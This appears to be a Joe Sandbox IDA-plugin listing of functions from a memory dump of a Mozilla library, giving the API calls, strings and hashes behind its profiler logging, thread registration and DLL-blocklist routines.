MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C8B47FC

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: dfe00a5071565730f9c22d8c97040a76bdcaf40850177aeb2942da2ca5642eff
Instruction ID: ab70f74cf71ddec3473e90f8c2b7d10d30f7212611525c218d246abdfd6d5725
Opcode Fuzzy Hash: dfe00a5071565730f9c22d8c97040a76bdcaf40850177aeb2942da2ca5642eff
Instruction Fuzzy Hash: 29814470A141108BDB20DF2CCA8AB5A37B5BFC231CF240A39D956A7F45D739E854CB96

Function 6C8B19A0 Relevance: 44.2, APIs: 24, Strings: 1, Instructions: 407COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C92F760), ref: 6C8B19BD
GetCurrentProcess.KERNEL32 ref: 6C8B19E5
GetLastError.KERNEL32 ref: 6C8B1A27
moz_xmalloc.MOZGLUE(?), ref: 6C8B1A41
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C8B1A4F
GetLastError.KERNEL32 ref: 6C8B1A92
moz_xmalloc.MOZGLUE(?), ref: 6C8B1AAC
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C8B1ABA
LocalFree.KERNEL32(?), ref: 6C8B1C69
free.MOZGLUE(?), ref: 6C8B1C8F
free.MOZGLUE(?), ref: 6C8B1C9D
CloseHandle.KERNEL32(?), ref: 6C8B1CAE
ReleaseSRWLockExclusive.KERNEL32(6C92F760), ref: 6C8B1D52
GetLastError.KERNEL32 ref: 6C8B1DA5
GetLastError.KERNEL32 ref: 6C8B1DFB
GetLastError.KERNEL32 ref: 6C8B1E49
GetLastError.KERNEL32 ref: 6C8B1E68
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8B1E9B

Part of subcall function 6C8B2070: LoadLibraryW.KERNEL32(combase.dll,6C8B1C5F), ref: 6C8B20AE
Part of subcall function 6C8B2070: GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C8B20CD
Part of subcall function 6C8B2070: __Init_thread_footer.LIBCMT ref: 6C8B20E1

memset.VCRUNTIME140(?,00000000,00000110), ref: 6C8B1F15
VerSetConditionMask.NTDLL ref: 6C8B1F46
VerSetConditionMask.NTDLL ref: 6C8B1F52
VerSetConditionMask.NTDLL ref: 6C8B1F59
VerSetConditionMask.NTDLL ref: 6C8B1F60
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C8B1F6D

Strings

D, xrefs: 6C8B1B57

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: ErrorLast$ConditionMask$freememset$ExclusiveLockmoz_xmalloc$AcquireAddressCloseCurrentFreeHandleInfoInit_thread_footerLibraryLoadLocalProcProcessReleaseVerifyVersion
String ID: D
API String ID: 290179723-2746444292
Opcode ID: 433b6385807969854c2571490b2a7cc7fbdc5181ff26da9cfa4a88226f9059eb
Instruction ID: 0cdc7a04eb8e270790fb9ecad0ba484936e2e80d9f6a29679c5ea5d73deb7714
Opcode Fuzzy Hash: 433b6385807969854c2571490b2a7cc7fbdc5181ff26da9cfa4a88226f9059eb
Instruction Fuzzy Hash: B2F1A071A14225AFEB209F64CD88B9AB7B8FF09705F1105A8E945BB740D774ED80CFA0

Function 6C8B4470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8B4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C8B44B2,6C92E21C,6C92F7F8), ref: 6C8B473E
Part of subcall function 6C8B4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C8B474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C8B44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C8B44D2
InitOnceExecuteOnce.KERNEL32(6C92F80C,6C8AF240,?,?), ref: 6C8B451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C8B455C
LoadLibraryW.KERNEL32(?), ref: 6C8B4592
InitializeCriticalSection.KERNEL32(6C92F770), ref: 6C8B45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C8B45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C8B45BB
InitOnceExecuteOnce.KERNEL32(6C92F818,6C8AF240,?,?), ref: 6C8B4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C8B4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C8B4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C8B466D
VerSetConditionMask.NTDLL ref: 6C8B469F
VerSetConditionMask.NTDLL ref: 6C8B46AB
VerSetConditionMask.NTDLL ref: 6C8B46B2
VerSetConditionMask.NTDLL ref: 6C8B46B9
VerSetConditionMask.NTDLL ref: 6C8B46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C8B46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C8B46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C8B46FD

Strings

kernel32.dll, xrefs: 6C8B44CD
NativeNtBlockSet_Write, xrefs: 6C8B46F7
user32.dll, xrefs: 6C8B4557, 6C8B463F
WRusr.dll, xrefs: 6C8B44B5
l, xrefs: 6C8B4578

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: a96476b8efec941b7bf5a13b8095a1a56145f9f34d52427b27934b6c42faaf02
Instruction ID: c860c38d7f4335db30863c43689d56ab251d73438be61ad7b235dfd7e0f7d4f9
Opcode Fuzzy Hash: a96476b8efec941b7bf5a13b8095a1a56145f9f34d52427b27934b6c42faaf02
Instruction Fuzzy Hash: 3761F5B06183589FEB208F60CA46B9577F8EBC770CF248998E5C5AB741D3789945CF90

Function 6C8CBB80 Relevance: 37.1, APIs: 17, Strings: 4, Instructions: 388stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140(00000000,0000002E), ref: 6C8CBC5A
strchr.VCRUNTIME140(00000001,0000002E), ref: 6C8CBC6E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(accelerator.dll,?), ref: 6C8CBC9E
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C8CBE33
VerSetConditionMask.NTDLL ref: 6C8CBE65
VerSetConditionMask.NTDLL ref: 6C8CBE71
VerSetConditionMask.NTDLL ref: 6C8CBE7D
VerSetConditionMask.NTDLL ref: 6C8CBE89
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C8CBE97
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C8CBEE4
VerSetConditionMask.NTDLL ref: 6C8CBF15
VerSetConditionMask.NTDLL ref: 6C8CBF21
VerSetConditionMask.NTDLL ref: 6C8CBF2D
VerSetConditionMask.NTDLL ref: 6C8CBF39
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C8CBF47

Part of subcall function 6C90AAE0: GetCurrentThreadId.KERNEL32 ref: 6C90AAF8
Part of subcall function 6C90AAE0: EnterCriticalSection.KERNEL32(6C92F770,?,6C8CBF9F), ref: 6C90AB08
Part of subcall function 6C90AAE0: LeaveCriticalSection.KERNEL32(6C92F770,?,?,?,?,?,?,?,?,6C8CBF9F), ref: 6C90AB6B

free.MOZGLUE(00000000), ref: 6C8CBFF0
_strtoui64.API-MS-WIN-CRT-CONVERT-L1-1-0(00000001,?,00000010), ref: 6C8CC014

Part of subcall function 6C90AC20: CreateFileW.KERNEL32 ref: 6C90AC52
Part of subcall function 6C90AC20: CreateFileMappingW.KERNEL32 ref: 6C90AC7D
Part of subcall function 6C90AC20: GetSystemInfo.KERNEL32 ref: 6C90AC98
Part of subcall function 6C90AC20: MapViewOfFile.KERNEL32 ref: 6C90ACB0
Part of subcall function 6C90AC20: GetSystemInfo.KERNEL32 ref: 6C90ACCD
Part of subcall function 6C90AC20: MapViewOfFile.KERNEL32 ref: 6C90AD05
Part of subcall function 6C90AC20: UnmapViewOfFile.KERNEL32 ref: 6C90AD1C
Part of subcall function 6C90AC20: CloseHandle.KERNEL32 ref: 6C90AD28
Part of subcall function 6C90AC20: UnmapViewOfFile.KERNEL32 ref: 6C90AD37
Part of subcall function 6C90AC20: CloseHandle.KERNEL32 ref: 6C90AD43

Part of subcall function 6C90AE70: GetCurrentThreadId.KERNEL32 ref: 6C90AE85
Part of subcall function 6C90AE70: EnterCriticalSection.KERNEL32(6C92F770,?,6C8CC034), ref: 6C90AE96
Part of subcall function 6C90AE70: LeaveCriticalSection.KERNEL32(6C92F770,?,?,?,?,6C8CC034), ref: 6C90AEBD

Strings

LdrLoadDll: Ignoring the REDIRECT_TO_NOOP_ENTRYPOINT flag, xrefs: 6C8CBF5B
LdrLoadDll: Blocking load of '%s' (SearchPathW didn't find it?), xrefs: 6C8CBFCF
LdrLoadDll: Blocking load of '%s' -- see http://www.mozilla.com/en-US/blocklist/, xrefs: 6C8CBDDD
accelerator.dll, xrefs: 6C8CBC8E, 6C8CBC9D

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: ConditionMask$File$CriticalInfoSectionView$CloseCreateCurrentEnterHandleLeaveSystemThreadUnmapVerifyVersionmemsetstrchr$Mapping_strtoui64freestrcmp
String ID: LdrLoadDll: Blocking load of '%s' (SearchPathW didn't find it?)$LdrLoadDll: Blocking load of '%s' -- see http://www.mozilla.com/en-US/blocklist/$LdrLoadDll: Ignoring the REDIRECT_TO_NOOP_ENTRYPOINT flag$accelerator.dll
API String ID: 3889411031-3373514183
Opcode ID: 6d324426424f0da7811da75975a51da34c049a9cde0a9627e12f60e09e961a42
Instruction ID: 2a74512ca22dd4192953ac4b1b6efbd3a23369e2a20fdb813907c8beab127a19
Opcode Fuzzy Hash: 6d324426424f0da7811da75975a51da34c049a9cde0a9627e12f60e09e961a42
Instruction Fuzzy Hash: 68E1E671B087449BE7209F24CA84BBAB7F5EF95308F144D2DE98587A80DB74E948C793

Function 6C8EE8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8E7090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6C8EB9F1,?), ref: 6C8E7107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C8EDCF5), ref: 6C8EE92D
GetCurrentThreadId.KERNEL32 ref: 6C8EEA4F
AcquireSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EEA5C
ReleaseSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EEA80
GetCurrentThreadId.KERNEL32 ref: 6C8EEA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C8EDCF5), ref: 6C8EEA92
GetCurrentThreadId.KERNEL32 ref: 6C8EEB11
AcquireSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EEB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6C8EEB3C
ReleaseSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EEB5B

Part of subcall function 6C8E5710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C8EEB71), ref: 6C8E57AB

Part of subcall function 6C8DCBE8: GetCurrentProcess.KERNEL32(?,6C8A31A7), ref: 6C8DCBF1
Part of subcall function 6C8DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C8A31A7), ref: 6C8DCBFA

Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8B4A68), ref: 6C8E945E
Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C8E9470
Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C8E9482
Part of subcall function 6C8E9420: __Init_thread_footer.LIBCMT ref: 6C8E949F

GetCurrentThreadId.KERNEL32 ref: 6C8EEBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C8EEBAC

Part of subcall function 6C8E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C8E94EE
Part of subcall function 6C8E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C8E9508

GetCurrentThreadId.KERNEL32 ref: 6C8EEBC1
AcquireSRWLockExclusive.KERNEL32(6C92F4B8,?,?,00000000), ref: 6C8EEBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C8EEBE5
ReleaseSRWLockExclusive.KERNEL32(6C92F4B8,00000000), ref: 6C8EEC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C8EEC46
CloseHandle.KERNEL32(?), ref: 6C8EEC55
free.MOZGLUE(00000000), ref: 6C8EEC5C

Strings

[I %d/%d] profiler_start, xrefs: 6C8EEBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C8EEA9B

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 7886fd1c706dc758027093c98dbab47357206228972982dbee9882b6987cde7d
Instruction ID: 63caba101f80f38a70c4f377d6de5b90d15f3f38899947a735f0b7ffc8bc1ff9
Opcode Fuzzy Hash: 7886fd1c706dc758027093c98dbab47357206228972982dbee9882b6987cde7d
Instruction Fuzzy Hash: 51A147317146149FCB20AF28D548BA677F5FF8B318F204939E99A87B41DB78E405C7A1

Function 6C8EF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8B4A68), ref: 6C8E945E
Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C8E9470
Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C8E9482
Part of subcall function 6C8E9420: __Init_thread_footer.LIBCMT ref: 6C8E949F

GetCurrentThreadId.KERNEL32 ref: 6C8EF70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C8EF8F9

Part of subcall function 6C8B6390: GetCurrentThreadId.KERNEL32 ref: 6C8B63D0
Part of subcall function 6C8B6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C8B63DF
Part of subcall function 6C8B6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C8B640E

ReleaseSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EF93A
GetCurrentThreadId.KERNEL32 ref: 6C8EF98A
GetCurrentThreadId.KERNEL32 ref: 6C8EF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C8EF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C8EF716

Part of subcall function 6C8E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C8E94EE
Part of subcall function 6C8E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C8E9508

Part of subcall function 6C8AB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C8AB5E0

GetCurrentThreadId.KERNEL32 ref: 6C8EF739
AcquireSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EF746
GetCurrentThreadId.KERNEL32 ref: 6C8EF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C92385B,00000002,?,?,?,?,?), ref: 6C8EF829
free.MOZGLUE(?,?,00000000,?), ref: 6C8EF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C8EF866
free.MOZGLUE(?), ref: 6C8EFA0C

Part of subcall function 6C8B5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C8B55E1), ref: 6C8B5E8C
Part of subcall function 6C8B5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C8B5E9D
Part of subcall function 6C8B5E60: GetCurrentThreadId.KERNEL32 ref: 6C8B5EAB
Part of subcall function 6C8B5E60: GetCurrentThreadId.KERNEL32 ref: 6C8B5EB8
Part of subcall function 6C8B5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C8B5ECF
Part of subcall function 6C8B5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C8B5F27
Part of subcall function 6C8B5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C8B5F47
Part of subcall function 6C8B5E60: GetCurrentProcess.KERNEL32 ref: 6C8B5F53
Part of subcall function 6C8B5E60: GetCurrentThread.KERNEL32 ref: 6C8B5F5C
Part of subcall function 6C8B5E60: GetCurrentProcess.KERNEL32 ref: 6C8B5F66
Part of subcall function 6C8B5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C8B5F7E

free.MOZGLUE(?), ref: 6C8EF9C5
free.MOZGLUE(?), ref: 6C8EF9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C8EF9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6C8EF71F
Thread , xrefs: 6C8EF789
" attempted to re-register as ", xrefs: 6C8EF858

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 29f9c0f9c272793da22357de2473a4a198499d3c6c85c9ad305dbe117be605a1
Instruction ID: ce493018beb37542e8da316f81dae25971bc1d19da1ba975b20d61e24c5b9368
Opcode Fuzzy Hash: 29f9c0f9c272793da22357de2473a4a198499d3c6c85c9ad305dbe117be605a1
Instruction Fuzzy Hash: 93814B716143049FDB20DF28D940AAAB7F5FFDA308F50496DE88557B51EB34E809CB92

Function 6C8B4180 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 180libraryloaderCOMMON

Download Yara Rule

APIs

?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C8B4196
memset.VCRUNTIME140(?,00000000,00000110,?,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6C8B41F1
VerSetConditionMask.NTDLL ref: 6C8B4223
VerSetConditionMask.NTDLL ref: 6C8B422A
VerSetConditionMask.NTDLL ref: 6C8B4231
VerSetConditionMask.NTDLL ref: 6C8B4238
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C8B4245
LoadLibraryW.KERNEL32(Shcore.dll,?,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6C8B4263
GetProcAddress.KERNEL32(00000000,SetProcessDpiAwareness), ref: 6C8B427A
FreeLibrary.KERNEL32(?), ref: 6C8B4299
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C8B42C4
VerSetConditionMask.NTDLL ref: 6C8B42F6
VerSetConditionMask.NTDLL ref: 6C8B4302
VerSetConditionMask.NTDLL ref: 6C8B4309
VerSetConditionMask.NTDLL ref: 6C8B4310
VerSetConditionMask.NTDLL ref: 6C8B4317
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C8B4324

Strings

Shcore.dll, xrefs: 6C8B425E
SetProcessDpiAwareness, xrefs: 6C8B4274

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: ConditionMask$InfoLibraryVerifyVersionmemset$AddressDown@mozilla@@FreeLoadLockedProcWin32k
String ID: SetProcessDpiAwareness$Shcore.dll
API String ID: 3038791930-999387375
Opcode ID: 02c23499ffe3e582ac7ec8a87ff7195dfbc5e02839f24fb33ecd8bec267bc2bc
Instruction ID: 86486bc8d97d5eb0a46f4c29c855e393b5904ecc39ba3a5f63f86d54c9351a41
Opcode Fuzzy Hash: 02c23499ffe3e582ac7ec8a87ff7195dfbc5e02839f24fb33ecd8bec267bc2bc
Instruction Fuzzy Hash: 00510571A48214ABEB206B748D4AFBA77BCDFC6714F154928F945AB6C0CB78DD40CB90

Function 6C8EEE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8B4A68), ref: 6C8E945E
Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C8E9470
Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C8E9482
Part of subcall function 6C8E9420: __Init_thread_footer.LIBCMT ref: 6C8E949F

GetCurrentThreadId.KERNEL32 ref: 6C8EEE60
AcquireSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EEE6D
ReleaseSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EEE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C8EEEA5
CloseHandle.KERNEL32(?), ref: 6C8EEEB4
free.MOZGLUE(00000000), ref: 6C8EEEBB
GetCurrentThreadId.KERNEL32 ref: 6C8EEEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C8EEECF

Part of subcall function 6C8EDE60: GetCurrentThreadId.KERNEL32 ref: 6C8EDE73
Part of subcall function 6C8EDE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C8B4A68), ref: 6C8EDE7B
Part of subcall function 6C8EDE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C8B4A68), ref: 6C8EDEB8
Part of subcall function 6C8EDE60: free.MOZGLUE(00000000,?,6C8B4A68), ref: 6C8EDEFE
Part of subcall function 6C8EDE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C8EDF38

Part of subcall function 6C8DCBE8: GetCurrentProcess.KERNEL32(?,6C8A31A7), ref: 6C8DCBF1
Part of subcall function 6C8DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C8A31A7), ref: 6C8DCBFA

GetCurrentThreadId.KERNEL32 ref: 6C8EEF1E
AcquireSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EEF2B
ReleaseSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EEF59
GetCurrentThreadId.KERNEL32 ref: 6C8EEFB0
AcquireSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EEFBD
ReleaseSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EEFE1
